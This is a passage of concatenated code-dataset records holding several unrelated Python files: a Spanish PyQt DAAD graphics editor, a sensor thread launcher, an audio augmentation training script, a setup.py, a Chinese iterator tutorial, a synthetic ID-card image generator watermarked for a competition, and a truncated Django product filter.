para cada modo todavía no está implementada')\n return\n paletas = paletas[list (paletas.keys())[0]]\n\n # Buscamos los colores más cercanos de entre las paletas para los colores de la imagen\n masCercanos = [] # Índice en paleta del color más cercano a los usados en la imagen, y su cercanía, para ambas paletas\n for p in range (len (paletas)):\n masCercanos.append ([])\n for c in range (len (coloresUsados)):\n color = QColor (coloresUsados[c])\n for p in range (len (masCercanos)):\n masCercano = [-1, 999999] # Índice de color en paleta, y cercanía del color más cercano en la paleta a éste\n paleta = paletas[p]\n for cp in range (len (paleta)):\n rojoPaleta, verdePaleta, azulPaleta = paleta[cp]\n if color.red() == rojoPaleta and color.green() == verdePaleta and color.blue() == azulPaleta: # Coincidencia exacta\n masCercanos[p].append ((cp, 0))\n break\n else:\n if (color.red() + rojoPaleta) / 2 < 128:\n cercania = math.sqrt (1 * ((color.red() - rojoPaleta) ** 2) + 1 * ((color.green() - verdePaleta) ** 2) + 2 * ((color.blue() - azulPaleta) ** 2))\n else:\n cercania = math.sqrt (2 * ((color.red() - rojoPaleta) ** 2) + 1 * ((color.green() - verdePaleta) ** 2) + 1 * ((color.blue() - azulPaleta) ** 2))\n if cercania < masCercano[1]:\n masCercano = [cp, cercania]\n else:\n masCercanos[p].append (masCercano)\n\n # Buscamos la paleta más adecuada para los colores de la imagen\n if len (masCercanos) > 1:\n mejorCercania = 999999\n mejorPaleta = None\n for p in range (len (masCercanos)):\n cercania = 0\n for masCercano in masCercanos[p]:\n cercania += masCercano[1]\n if cercania < mejorCercania:\n mejorCercania = cercania\n mejorPaleta = p\n else:\n mejorPaleta = 0\n\n # Convertimos la imagen a los colores de la paleta más adecuada y la asignamos a este recurso\n ventana.setCursor (Qt.WaitCursor) # Puntero de ratón de espera\n paleta = []\n for rojo, verde, azul in paletas[mejorPaleta]:\n paleta.append (qRgb (rojo, verde, azul))\n imgConvertida = QImage (imagen.width(), imagen.height(), QImage.Format_Indexed8)\n imgConvertida.setColorTable (paleta)\n imgComoIndices = [] # Imagen como índices en la paleta\n for fila in range (imagen.height()):\n for columna in range (imagen.width()):\n indiceEnPaleta = masCercanos[mejorPaleta][coloresUsados.index (imagen.pixel (columna, fila))][0]\n imgConvertida.setPixel (columna, fila, indiceEnPaleta)\n imgComoIndices.append (indiceEnPaleta)\n self.imagen = imgConvertida\n self.setIcon (QIcon (QPixmap (imgConvertida)))\n self.setIconSize (imagen.rect().size())\n graficos_daad.cambia_imagen (self.numRecurso, imagen.width(), imagen.height(), imgComoIndices, paletas[mejorPaleta])\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n\nclass Ventana (QMainWindow):\n \"\"\"Ventana principal\"\"\"\n def __init__ (self):\n global acc_exportar\n super (Ventana, self).__init__()\n acc_exportar = QAction ('&Exportar', self)\n accImportar = QAction ('&Importar', self)\n accSalir = QAction ('&Salir', self)\n acc_exportar.setEnabled (False)\n acc_exportar.triggered.connect (dialogoExportaBD)\n accImportar.triggered.connect (dialogoImportaBD)\n accSalir.setShortcut ('Ctrl+Q')\n menuArchivo = self.menuBar().addMenu ('&Archivo')\n menuArchivo.addAction (accImportar)\n menuArchivo.addAction (acc_exportar)\n menuArchivo.addSeparator()\n menuArchivo.addAction (accSalir)\n scroll = QScrollArea (self)\n self.rejilla = QWidget (scroll)\n self.rejilla.setLayout (QGridLayout (self.rejilla))\n scroll.setWidget (self.rejilla)\n accSalir.triggered.connect (self.close)\n self.setCentralWidget (scroll)\n self.setWindowTitle ('Editor de bases de datos gráficas')\n self.showMaximized()\n\n\ndef dialogoExportaBD ():\n \"\"\"Exporta la base de datos gráfica al fichero elegido por el usuario\"\"\"\n global dlg_exportar\n if graficos_daad.modo_gfx == 'CGA':\n extensiones = ('.cga',)\n formatoFiltro = 'Bases de datos gráficas DAAD para CGA (*.cga)'\n if graficos_daad.modo_gfx == 'EGA':\n extensiones = ('.ega',)\n formatoFiltro = 'Bases de datos gráficas DAAD para EGA (*.ega)'\n elif graficos_daad.modo_gfx == 'PCW':\n extensiones = ('.pcw', '.dat')\n formatoFiltro = 'Bases de datos gráficas DAAD para PCW (*.dat *.pcw)'\n if not dlg_exportar: # Diálogo no creado aún\n dlg_exportar = QFileDialog (ventana, 'Exportar base de datos gráfica', os.curdir, formatoFiltro)\n dlg_exportar.setAcceptMode (QFileDialog.AcceptSave)\n dlg_exportar.setLabelText (QFileDialog.LookIn, 'Lugares')\n dlg_exportar.setLabelText (QFileDialog.FileName, '&Nombre:')\n dlg_exportar.setLabelText (QFileDialog.FileType, 'Filtro:')\n dlg_exportar.setLabelText (QFileDialog.Accept, '&Guardar')\n dlg_exportar.setLabelText (QFileDialog.Reject, '&Cancelar')\n dlg_exportar.setOption (QFileDialog.DontConfirmOverwrite)\n dlg_exportar.setOption (QFileDialog.DontUseNativeDialog)\n if dlg_exportar.exec_(): # No se ha cancelado\n nombreFichero = (str if sys.version_info[0] > 2 else unicode) (dlg_exportar.selectedFiles()[0])\n for extension in extensiones:\n if nombreFichero[-4:].lower() == extension:\n break\n else: # No tenía extensión de las permitidas, se la añadimos\n nombreFichero += extensiones[0]\n if os.path.isfile (nombreFichero):\n dlgSiNo = QMessageBox (ventana)\n dlgSiNo.addButton ('&Sí', QMessageBox.YesRole)\n dlgSiNo.addButton ('&No', QMessageBox.NoRole)\n dlgSiNo.setIcon (QMessageBox.Warning)\n dlgSiNo.setWindowTitle ('Sobreescritura')\n dlgSiNo.setText ('Ya existe un fichero con ruta y nombre:\\n\\n' + nombreFichero)\n dlgSiNo.setInformativeText ('\\n¿Quieres sobreescribirlo?')\n if dlgSiNo.exec_() != 0: # No se ha pulsado el botón Sí\n return\n ventana.setCursor (Qt.WaitCursor) # Puntero de ratón de espera\n try:\n fichero = open (nombreFichero, 'wb')\n except IOError as excepcion:\n muestraFallo ('No se puede abrir el fichero:\\n' + nombreFichero,\n 'Causa:\\n' + excepcion.args[1])\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n return\n graficos_daad.guarda_bd_pics (fichero)\n fichero.close()\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n\ndef dialogoImportaBD ():\n \"\"\"Deja al usuario elegir un fichero de base datos gráfica, y lo intenta importar\"\"\"\n global dlg_importar\n if not dlg_importar: # Diálogo no creado aún\n dlg_importar = QFileDialog (ventana, 'Importar base de datos gráfica', os.curdir, 'Bases de datos gráficas DAAD (*.cga *.dat *.ega *.pcw)')\n dlg_importar.setFileMode (QFileDialog.ExistingFile)\n dlg_importar.setLabelText (QFileDialog.LookIn, 'Lugares')\n dlg_importar.setLabelText (QFileDialog.FileName, '&Nombre:')\n dlg_importar.setLabelText (QFileDialog.FileType, 'Filtro:')\n dlg_importar.setLabelText (QFileDialog.Accept, '&Abrir')\n dlg_importar.setLabelText (QFileDialog.Reject, '&Cancelar')\n dlg_importar.setOption (QFileDialog.DontUseNativeDialog)\n if dlg_importar.exec_(): # No se ha cancelado\n ventana.setCursor (Qt.WaitCursor) # Puntero de ratón de espera\n nombreFichero = (str if sys.version_info[0] > 2 else unicode) (dlg_importar.selectedFiles()[0])\n importaBD (nombreFichero)\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n\ndef importaBD (nombreFichero):\n \"\"\"Importa una base de datos gráfica desde el fichero de nombre dado\"\"\"\n error = graficos_daad.carga_bd_pics (nombreFichero)\n if error:\n muestraFallo ('No se puede abrir el fichero:\\n' + nombreFichero, error)\n return\n\n global acc_exportar\n if graficos_daad.modo_gfx in ('CGA', 'EGA', 'PCW'): # Modos gráficos de la versión 1 de DMG\n acc_exportar.setEnabled (True)\n else:\n acc_exportar.setEnabled (False)\n\n altoMax = 0 # Alto de imagen máximo\n anchoMax = 0 # Ancho de imagen máximo\n imagenes = []\n for numImg in range (256):\n recurso = graficos_daad.recursos[numImg]\n if not recurso:\n imagenes.append (None)\n continue\n paleta = []\n for rojo, verde, azul in recurso['paleta']:\n paleta.append (qRgb (rojo, verde, azul))\n ancho, alto = recurso['dimensiones']\n col = 0 # Columna actual\n fila = 0 # Fila actual\n imagen = QImage (ancho, alto, QImage.Format_Indexed8)\n imagen.setColorTable (paleta)\n for indicePaleta in recurso['imagen']:\n imagen.setPixel (col, fila, indicePaleta)\n col += 1\n if col == ancho:\n col = 0\n fila += 1\n imagenes.append (imagen)\n if alto > altoMax:\n altoMax = alto\n if ancho > anchoMax:\n anchoMax = ancho\n\n # Borramos botones anteriores si los había\n if ventana.rejilla.layout().count():\n for i in range (255, -1, -1):\n ventana.rejilla.layout().itemAt (i).widget().setParent (None)\n ventana.rejilla.setMinimumSize (0, 0)\n ventana.rejilla.resize (0, 0)\n\n dtWidget = QDesktopWidget() # Para obtener el ancho de la pantalla (dado que el de la ventana no se correspondía con el real)\n geometria = dtWidget.availableGeometry (ventana)\n margen = 8\n columnas = geometria.width() // (anchoMax + margen)\n filas = math.ceil (256. / columnas)\n ventana.rejilla.setMinimumSize (geometria.width() - 20, (filas * (altoMax + margen) + ((filas + 1) * 6)))\n\n col = 0 # Columna actual\n fila = 0 # Fila actual\n for i in range (256):\n imagen = imagenes[i]\n widget = Recurso (i, imagen)\n widget.setMinimumSize (anchoMax + margen, altoMax + margen)\n ventana.rejilla.layout().addWidget (widget, fila, col)\n col += 1\n if col == columnas:\n col = 0\n fila += 1\n\ndef muestraFallo (mensaje, detalle = '', parent = None):\n \"\"\"Muestra un diálogo de fallo leve\"\"\"\n # TODO: sacar a módulo común con el IDE\n global dlg_fallo, ventana_principal\n try:\n dlg_fallo\n except: # Diálogo no creado aún\n if parent == None:\n parent = ventana_principal\n dlg_fallo = QMessageBox (parent)\n dlg_fallo.addButton ('&Aceptar', QMessageBox.AcceptRole)\n dlg_fallo.setIcon (QMessageBox.Warning)\n dlg_fallo.setWindowTitle ('Fallo')\n dlg_fallo.setText (mensaje)\n if detalle:\n dlg_fallo.setInformativeText ('Causa:\\n' + detalle)\n else:\n dlg_fallo.setInformativeText ('')\n dlg_fallo.exec_()\n\n\naplicacion = QApplication (sys.argv)\nventana = Ventana()\nventana_principal = ventana # Para muestraFallo\n\nif len (sys.argv) > 1:\n importaBD (sys.argv[1])\n\nsys.exit (aplicacion.exec_())\n","sub_path":"edita_bd_pics.py","file_name":"edita_bd_pics.py","file_ext":"py","file_size_in_byte":21210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"78978152","text":"import sensor\nimport threading\nth1 = threading.Thread(target=sensor.sensor,kwargs={'id':'d1','typ':'doorstep','loc':'obh_111','ip':'0.0.0.0','port':'9557'})\nth2 = threading.Thread(target=sensor.sensor,kwargs={'id':'d2','typ':'doorstep','loc':'obh_112','ip':'0.0.0.0','port':'9557'})\nth3 = threading.Thread(target=sensor.sensor,kwargs={'id':'d10','typ':'doorstep','loc':'obh_1110','ip':'0.0.0.0','port':'9557'})\nth4 = threading.Thread(target=sensor.sensor,kwargs={'id':'d3','typ':'doorstep','loc':'obh_113','ip':'0.0.0.0','port':'9557'})\nth5 = threading.Thread(target=sensor.sensor,kwargs={'id':'d4','typ':'doorstep','loc':'obh_114','ip':'0.0.0.0','port':'9557'})\nth6 = threading.Thread(target=sensor.sensor,kwargs={'id':'d5','typ':'doorstep','loc':'obh_115','ip':'0.0.0.0','port':'9557'})\nth7 = threading.Thread(target=sensor.sensor,kwargs={'id':'d6','typ':'doorstep','loc':'obh_116','ip':'0.0.0.0','port':'9557'})\nth8 = threading.Thread(target=sensor.sensor,kwargs={'id':'d7','typ':'doorstep','loc':'obh_117','ip':'0.0.0.0','port':'9557'})\nth9 = threading.Thread(target=sensor.sensor,kwargs={'id':'d8','typ':'doorstep','loc':'obh_118','ip':'0.0.0.0','port':'9557'})\nth10 = threading.Thread(target=sensor.sensor,kwargs={'id':'d9','typ':'doorstep','loc':'obh_119','ip':'0.0.0.0','port':'9557'})\n# sensor.sensor('d1','numeric_attandance','obh_112','0.0.0.0','9557')\nth1.start()\nth2.start()\nth3.start()\nth4.start()\nth5.start()\nth6.start()\nth7.start()\nth8.start()\nth9.start()\nth10.start()","sub_path":"platform/SensorManager/door_up.py","file_name":"door_up.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"438929958","text":"from pathlib import Path\n\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import DataLoader\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import transforms\n\n\nfrom sklearn.model_selection import train_test_split\n\nfrom argparse import ArgumentParser\nfrom ignite.metrics import Accuracy, Loss\nfrom ignite.contrib.metrics import ROC_AUC\n\nimport wandb\n\nimport augmentations\nimport modelArchs\nimport runutils\n# REPRODUCE\n\ntorch.manual_seed(42)\nnp.random.seed(42)\n\n\ndef main():\n import warnings\n warnings.filterwarnings('ignore')\n\n # parser = argparse.ArgumentParser()\n # parser.add_argument('-d', '--device', type=int, default=0, metavar='N',\n # help='GPU device ID (default: 0)')\n # args = parser.parse_args()\n\n # DEFAULT values\n local_config = {\n 'batch_size': 58,\n 'epochs': 1000,\n 'patience': -1,\n 'weight_decay': 0.001,\n 'augmentadSize': 200,\n 'CNNLayer_count': 1,\n 'CNN_filters_1': 45,\n 'CNN_filters_2': 64,\n 'device': 0,\n # augmentation params\n 'pitch_shift_n_steps': [3.5, 2.5, 0, -2.5, -3.5],\n 'time_stretch_factor': [0.8, 1.2],\n 'noise_factor': 0.001,\n 'roll_rate': 1.1,\n # 'aug_ID':3, # ['pitch_shift':0,'time_stretch':1,'noise_factor':2, 'roll_rate':3]\n # 'lr': lr,\n # 'momentum': momentum,\n }\n\n wandb_project_name = 'pytorch-ignite-integration'\n wandb.init(config=local_config, project=wandb_project_name)\n config = wandb.config\n # wandb.config.update(args) # adds all of the arguments as config variables\n\n params = {\n 'batch_size': config.batch_size,\n 'shuffle': True,\n 'num_workers': 0\n }\n\n tagSet = [\n 'Songbird', 'Water Bird', 'Insect', 'Running Water', 'Rain', 'Cable',\n 'Wind', 'Aircraft'\n ]\n\n labelsbyhumanpath = Path('/scratch/enis/data/nna/labeling/results/')\n # splits_path= Path('/files/scratch/enis/data/nna/labeling/splits/')\n sourcePath = Path('/scratch/enis/data/nna/labeling/splits/')\n\n device = torch.device(\n f'cuda:{config.device}' if torch.cuda.is_available() else 'cpu')\n\n # RAW DATA\n # load labels for data\n with open(labelsbyhumanpath / 'np_array_Ymatrix.npy', 'rb') as f:\n y_true = np.load(f)\n\n # ## load Dataset\n # # X.shape is (1300, 10, 44100)\n with open(sourcePath / 'np_array_Xmatrix_shortby441000.npy', 'rb') as f:\n X = np.load(f)\n #\n # ### split data\n X_train, X_test, y_train, y_test = train_test_split(X,\n y_true,\n test_size=0.2,\n random_state=42)\n X_train, X_val, y_train, y_val = train_test_split(X_train,\n y_train,\n test_size=0.25,\n random_state=42)\n\n ##### AUGMENTATIONS #######\n\n # XArrays=[X_val,X_test,X_train]\n # X_val,X_test,X_train = runUtils.clipped_mel_loop(XArrays,850)\n #\n\n pitch = augmentations.pitch_shift_n_stepsClass(\n 44100, config['pitch_shift_n_steps'])\n noise = augmentations.addNoiseClass(config['noise_factor'])\n strech = augmentations.time_stretchClass(441000,\n config['time_stretch_factor'],\n isRandom=True)\n shift = augmentations.shiftClass(config['roll_rate'], isRandom=True)\n toTensor = augmentations.ToTensor(850)\n\n transformCompose = transforms.Compose([\n pitch,\n strech,\n shift,\n noise,\n toTensor,\n ])\n\n sound_datasets = {\n phase: runutils.audioDataset(XY[0], XY[1], transform=transformCompose)\n for phase, XY in\n zip(['train', 'val', 'test'],\n [[X_train, y_train], [X_val, y_val], [X_test, y_test]])\n }\n\n dataloaders = {\n x: torch.utils.data.DataLoader(sound_datasets[x], **params)\n for x in ['train', 'val', 'test']\n }\n\n h_w = [128, 850]\n kernel_size = (3, 3)\n if config.CNNLayer_count == 1:\n model = modelArchs.NetCNN1(config.CNN_filters_1, h_w,\n kernel_size).float().to(device)\n\n if config.CNNLayer_count == 2:\n model = modelArchs.NetCNN2(config.CNN_filters_1, config.CNN_filters_2,\n h_w, kernel_size,\n kernel_size).float().to(device)\n\n # device is defined before\n\n model.float().to(device) # Move model before creating optimizer\n optimizer = torch.optim.AdamW(model.parameters(),\n weight_decay=config['weight_decay'])\n\n criterion = nn.BCEWithLogitsLoss()\n # statHistory={'valLoss':[],'trainLoss':[],'trainAUC':[],'valAUC':[]}\n\n metrics = {\n 'loss': Loss(criterion), # 'accuracy': Accuracy(),\n 'ROC_AUC': ROC_AUC(runutils.activated_output_transform),\n }\n\n print('ready ?')\n runutils.run(model, dataloaders, optimizer, criterion, metrics, device,\n config, wandb_project_name)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/nna/exp/runAugExp2.py","file_name":"runAugExp2.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"272879378","text":"from setuptools import setup, find_packages\nimport sys, os\n\nversion = '0.1'\n\nsetup(name='pydbtest',\n version=version,\n description=\"Unittest class with assertions for testing db state.\",\n long_description=\"\"\"Currently only supports PostgreSQL (via psycopg2)\"\"\",\n classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n keywords='unit test postgresql database psycopg',\n author='Erik Jones',\n author_email='mage2k@gmail.com',\n url='http://github.com/mage2k/pydbtest',\n license='BSD',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'psycopg2'\n ],\n entry_points={\n 'setuptools.file_finders': ['git = setuptools_git:gitlsfiles']\n },\n # test_suite='nose.collector',\n # test_requires=['Nose'],\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"284862488","text":"\"\"\"\n 员工管理器\n\"\"\"\nclass Employee:\n pass\n\nclass EmployeeIter:\n def __init__(self, employees):\n self.employees = employees\n self.index = 0\n\n def __next__(self):\n if self.index > len(self.employees) - 1:\n raise StopIteration\n item = self.employees[self.index]\n self.index += 1\n return item\n\n\nclass EmployeeManager:\n def __init__(self, employees):\n self.all_employee = employees\n\n def __iter__(self):\n '''返回迭代器对象'''\n return EmployeeIter(self.all_employee)\n\n\nmanager = EmployeeManager([Employee(), Employee()])\n# for item in manager:\n# print(item)\n\n\n'''--------自定义range(yield)----------'''\nclass MyRange:\n def __init__(self, num):\n self.num = num\n self.index = 0\n\n def __iter__(self):\n '''\n 1.调用iter方法不执行\n 2.调用next方法时执行,到yield语句暂时离开\n 3.再次调用next方法\n\n '''\n while True:\n if not self.index >= self.num:\n yield self.index\n else:\n break\n self.index += 1\n\n\n# class MyRangeIterator:\n# def __init__(self, num):\n# self.num = num\n# self.count = 0\n#\n# def __next__(self):\n# if self.count >= self.num:\n# raise StopIteration()\n# result = self.count\n# self.count += 1\n# return result\n\n# for i in MyRange(5):\n# print(i)\n\n\n'''生成器函数\n 方法需要返回多个值的时候\n\n'''\nlist01 = [1, 324, 23, 4, 56, 32, 666]\n'''挑出所有偶数,使用生成器函数实现'''\n\n\ndef get_even(list_target):\n for item in list_target:\n if item % 2 == 0:\n yield item\n\n\nfor item in get_even(list01):\n print(item)\n\n\ndef my_numerate(list_target):\n count=0\n for i in list_target:\n yield (count,i)\n count+=1\n\nfor k,v in my_numerate([\"a\",2,3]):\n print(k,v)\n\ndef my_zip(list01,list02):\n for i in range(len(list01)):\n yield (list01[i],list02[i])\n\nfor item in my_zip([1,2,3],[4,5,6]):\n print(item)\n\n'''\n生成器表达式 \n'''\n\nlist01=[2,3,4,6]\nlist02=[i for i in list01 if i >3]\nlist03=(i for i in list01 if i >3)\nprint(list02,list03)\n","sub_path":"untitled/month01/迭代器原理.py","file_name":"迭代器原理.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"567722750","text":"# coding:utf-8\nimport os\nimport PIL.Image as PImage\nfrom PIL import ImageFont, ImageDraw\nimport cv2\nimport numpy as np\nfrom collections import OrderedDict\nimport copy\nimport random\nimport torch\nimport os.path as osp\nfrom concurrent.futures import ThreadPoolExecutor\nimport matplotlib.pyplot as plt\n\nbase_dir = osp.join(osp.dirname(__file__), 'usedres')\n\n\ndef get_label(label_path='/media/pjq/新加卷/DataSets/IDcard/Train_Labels.csv'):\n label_dic = OrderedDict()\n with open(label_path) as f:\n labels = f.readlines()\n for label in labels:\n label = label.strip().split(',')\n dic = {label[0]: {\n \"姓名\": label[1],\n \"民族\": label[2],\n \"性别\": label[3],\n \"出生\": [label[4], label[5], label[6]],\n \"住址\": label[7],\n \"身份证号\": label[8],\n \"签发机关\": label[9],\n \"有效时间\": label[10]}}\n label_dic.update(dic)\n return label_dic\n\n\ndef generator(key, value):\n # 姓名,民族,性别,年,月,日,签发机关,有效日期,地址,号码\n im = PImage.open(os.path.join(base_dir, 'empty.png'))\n # key, value = input\n name, nation, sex, year, mon, day, org, life, addr, idn = value[\"姓名\"], value[\"民族\"], \\\n value[\"性别\"], value[\"出生\"][0], value[\"出生\"][1], value[\"出生\"][\n 2], \\\n value[\"签发机关\"], value[\"有效时间\"], \\\n value[\"住址\"], value[\"身份证号\"]\n im = PImage.fromarray(changBackGround(im))\n name_font = ImageFont.truetype(os.path.join(base_dir, 'hei.ttf'), 75)\n other_font = ImageFont.truetype(os.path.join(base_dir, 'hei.ttf'), 75)\n bdate_font = ImageFont.truetype(os.path.join(base_dir, 'fzhei.ttf'), 75)\n id_font = ImageFont.truetype(os.path.join(base_dir, 'ocrb10bt.ttf'), 75)\n\n draw = ImageDraw.Draw(im)\n draw.text((290, 500), \"仅限BDCI比赛使用\", fill=0, font=bdate_font)\n draw.text((655, 690), name, fill=0, font=name_font)\n draw.text((655, 825), sex, fill=0, font=other_font)\n draw.text((1105, 825), nation, fill=0, font=other_font)\n draw.text((655, 960), year, fill=0, font=bdate_font)\n draw.text((935, 960), mon, fill=0, font=bdate_font)\n draw.text((1135, 960), day, fill=0, font=bdate_font)\n start = 0\n loc = 1110\n while start + 12 < len(addr):\n draw.text((655, loc), addr[start:start + 12], fill=0, font=other_font)\n start += 12\n loc += 90\n draw.text((655, loc), addr[start:], fill=0, font=other_font)\n draw.text((855, 1475), idn, fill=0, font=id_font)\n\n draw.text((295, 1920), \"仅限BDCI比赛使用\", fill=0, font=bdate_font)\n start = 0\n loc = 2750\n while start + 12 < len(addr):\n draw.text((1010, loc), org[start:start + 12], fill=0, font=other_font)\n start += 12\n loc += 90\n draw.text((1010, loc), org[start:], fill=0, font=other_font)\n draw.text((1010, 2892), life, fill=0, font=other_font)\n\n im = np.asarray(im)\n img_zheng, img_fan = split(im)\n img_zheng = attach_logo(img_zheng)\n img_fan = attach_logo(img_fan)\n img_zheng, label_z = random_rotate(img_zheng)\n img_fan, label_f = random_rotate(img_fan)\n bg, label_z, label_f = zhengfan_concat(img_zheng, label_z, img_fan, label_f)\n return bg, label_z, label_f, key\n\n\ndef attach_logo(img):\n logo = cv2.imread('WeChat Image_20190904135241.png')\n # logo = cv2.resize(logo, (180, 50))\n logo_width, logo_height = logo.shape[:2]\n img_width, img_height = img.shape[:2]\n # 生成logo的mask\n logo = cv2.cvtColor(logo, cv2.COLOR_BGR2GRAY)\n # 使用灰度直方图查看阈值\n # plt.hist(logo.ravel(), 256, [0, 256])\n # plt.show()\n ret, mask = cv2.threshold(logo, 200, 255, cv2.THRESH_BINARY)\n # cv2.imshow('mask', mask)\n mask_inv = cv2.bitwise_not(mask)\n # cv2.imshow('mask_inv', mask_inv)\n # 提取ROI\n h1 = random.randint(0, img_height-logo_height)\n h2 = h1 + logo_height\n w1 = random.randint(0, img_width-logo_width)\n w2 = w1 + logo_width\n roi = img[w1:w2, h1:h2]\n #roi和logo融合\n img_bg = cv2.bitwise_and(roi, roi, mask=mask)\n logo_fg = cv2.bitwise_and(logo, logo, mask=mask_inv)\n dst = cv2.add(img_bg, logo_fg)\n img.flags.writeable = True\n img[w1:w2, h1:h2] = dst\n # cv2.namedWindow(\"logo\", cv2.WINDOW_NORMAL)\n # cv2.imshow(\"logo\", img)\n # cv2.waitKey(0)\n return img\n\n\ndef zhengfan_concat(img_zheng, label_z, img_fan, label_f):\n bg = 255 * np.ones((1000, 1000), dtype=np.uint8)\n x, y = np.random.randint(65, 200), np.random.randint(30, 100)\n x1, y1 = x + img_zheng.shape[1], y + img_zheng.shape[0]\n bg[y:y1, x:x1] = img_zheng\n x2, y2 = np.random.randint(65, 200), np.random.randint(y1 + 5, y1 + 75)\n x3, y3 = x2 + img_fan.shape[1], y2 + img_fan.shape[0]\n bg[y2:y3, x2:x3] = img_fan\n\n label_z[0] = label_z[0] + np.array([x, y])\n label_z[1] = label_z[1] + np.array([x, y])\n label_f[0] = label_f[0] + np.array([x2, y2])\n label_f[1] = label_f[1] + np.array([x2, y2])\n\n bg_color = random.choice([218, 170, 219, 196, 146])\n bg = (bg.astype(np.float) * bg_color / 255.).astype(np.uint8)\n\n return bg, label_z, label_f\n\n\ndef random_rotate(img):\n height = img.shape[0]\n width = img.shape[1]\n img = np.pad(img, ((50, 50), (27, 27)), mode=\"constant\", constant_values=(255, 255))\n degree = np.random.choice([np.random.randint(0, 5), np.random.randint(175, 185), np.random.randint(355, 360)], size=1)[0]\n # 仿射变换矩阵\n matRotate = cv2.getRotationMatrix2D((img.shape[1] * 0.5, img.shape[0] * 0.5), degree, 1)\n img = cv2.warpAffine(img, matRotate, (img.shape[1], img.shape[0]), borderValue=255)\n rect = np.array([[27, 50], [27, 50 + height], [27 + width, 50], [27 + width, 50 + height]])\n dst_rect = affine_transform(rect, matRotate).astype(np.int)\n rect = np.array([np.min(dst_rect[:, 0]), np.min(dst_rect[:, 1]), np.max(dst_rect[:, 0]), np.max(dst_rect[:, 1])],\n np.int)\n img = img[rect[1]:rect[3], rect[0]:rect[2]]\n dst_rect = dst_rect - rect[:2]\n flip = False\n if 170 <= degree <= 190:\n flip = True\n dst_rect_temp = dst_rect - np.array([np.mean(dst_rect[:, 0]), np.mean(dst_rect[:, 1])])\n xy_0 = dst_rect[(dst_rect_temp[:, 0] < 0) * (dst_rect_temp[:, 1] < 0)]\n xy_1 = dst_rect[(dst_rect_temp[:, 0] < 0) * (dst_rect_temp[:, 1] > 0)]\n xy_2 = dst_rect[(dst_rect_temp[:, 0] > 0) * (dst_rect_temp[:, 1] < 0)]\n xy_3 = dst_rect[(dst_rect_temp[:, 0] > 0) * (dst_rect_temp[:, 1] > 0)]\n new_dst_rect = np.concatenate([xy_0, xy_1, xy_2, xy_3])\n return img, [dst_rect, new_dst_rect, flip]\n\n\ndef affine_transform(pt, M):\n new_pt_list = []\n for i in range(pt.shape[0]):\n new_pt = np.array([pt[i][0], pt[i][1], 1.], dtype=np.float32).T\n new_pt = np.dot(M, new_pt)\n new_pt_list.append(new_pt)\n return np.array(new_pt_list)\n\n\ndef changBackGround(img):\n img = img.convert('L')\n img = np.copy(np.asarray(img))\n width = img.shape[1]\n height = img.shape[0]\n img[0:height, 0:380][img[0:height, 0:380] < 80] = 255\n img[0:height, 2060:width][img[0:height, 2060:width] < 80] = 255\n img[0:2000, 0:width][img[0:2000, 0:width] < 80] = 255\n img[3000:height, 0:width][img[3000:height, 0:width] < 80] = 255\n return img\n\n\ndef split(img):\n img_zheng = img[491:1676, 287:2173]\n img_fan = img[1908:3094, 282:2169]\n img_zheng = cv2.resize(img_zheng, (445, 281))\n img_fan = cv2.resize(img_fan, (445, 281))\n return img_zheng, img_fan\n\n\nif __name__ == '__main__':\n dst_dir = \"/media/pjq/新加卷/DataSets/IDcard/gen_train\"\n labels = get_label()\n rect_label = OrderedDict()\n im = PImage.open(os.path.join(base_dir, 'empty.png'))\n for key in labels:\n bg, label_z, label_f, key = generator(key, labels[key])\n rect_label[key] = {\"label_z\": label_z, \"label_f\": label_f}\n torch.save(rect_label, osp.join(dst_dir.rsplit('/', 1)[0], 'rect_label.pkl'))","sub_path":"id_card/idcardgenerator3.py","file_name":"idcardgenerator3.py","file_ext":"py","file_size_in_byte":8235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"148531586","text":"import django_filters\nfrom django.db.models import Q\nfrom django_filters.rest_framework import FilterSet\nfrom rest_framework import filters\n\nfrom goods.models import Goods, HotSearchWords\n\n\nclass GoodsFilter(FilterSet):\n \"\"\"\n 商品的过滤类\n \"\"\"\n pricemin = django_filters.NumberFilter(field_name='shop_price', lookup_expr='gte', help_text=\"最低价格\")\n pricemax = django_filters.NumberFilter(field_name='shop_price', lookup_expr='lte', help_text=\"最高价格\")\n top_category = django_filters.NumberFilter(method='top_category_filter', label=\"顶级项目\", help_text=\"顶级目录\")\n # 如需使用加入Meta的fields中,此处先注释,后面view当中使用drf自带的SearchField\n # name = django_filters.CharFilter(field_name='name', lookup_expr='icontains')\n\n def top_category_filter(self, queryset, name, value):\n return queryset.filter(Q(category_id=value)|\n Q(category__parent_category_id=value)|\n Q(category__parent_category__parent_category_id=value))\n\n class Meta:\n model = Goods\n fields = ['pricemin', 'pricemax', 'is_hot', 'is_new']\n\n\nclass GoodsSearchFilter(filters.SearchFilter):\n \"\"\"\n 添加热搜词\n \"\"\"\n\n def get_search_terms(self, request):\n \"\"\"\n Search terms are set by a ?search=... query parameter,\n and may be comma and/or whitespace delimited.\n \"\"\"\n params = request.query_params.get(self.search_param, '')\n param_list = params.replace(',', ' ').split()\n\n # 为了记录搜索热点\n for param in param_list:\n words = HotSearchWords.objects.filter(keywords=param)\n if words:\n 